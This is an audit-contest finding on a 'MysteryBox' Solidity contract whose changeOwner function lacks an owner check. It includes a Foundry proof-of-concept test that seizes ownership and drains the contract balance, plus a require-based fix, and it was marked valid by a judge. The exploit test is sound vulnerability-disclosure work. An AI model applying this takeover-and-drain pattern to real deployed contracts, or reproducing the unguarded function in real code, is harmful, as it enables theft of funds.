Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control allows anyone to change the owner of the contract and withdraw all funds

Summary

The MysteryBox::changeOwner function does not check if msg.sender is the owner, allowing anyone to call the function.

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

Impact

Anyone can obtain owner privileges and call MysteryBox::withdrawFunds to drain the contract balance.

Proof of Concept

  1. User calls MysteryBox::changeOwner with their own address as parameter.

  2. User becomes the owner of the contract.

  3. User calls MysteryBox::withdrawFunds.

  4. All contract balanced is transferred to the user.

Test Code:

function testChangeOwner_AccessControl() public {
vm.prank(user1);
assertEq(mysteryBox.owner(), owner);
mysteryBox.changeOwner(user1);
assertEq(mysteryBox.owner(), user1);
console.log("Contract Balance Before:", address(mysteryBox).balance);
vm.prank(user1);
mysteryBox.withdrawFunds();
console.log("Contract Balance After:", address(mysteryBox).balance);
}

Test Output:

Contract Balance Before: 100000000000000000
Contract Balance After: 0

Tools Used

Manual Review, Foundry

Recommendations

Create a modifier or add a require or if statement to the beginning of the function to check if msg.sender is the owner.

+ require(msg.sender == owner, "Only owner can call this function");
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!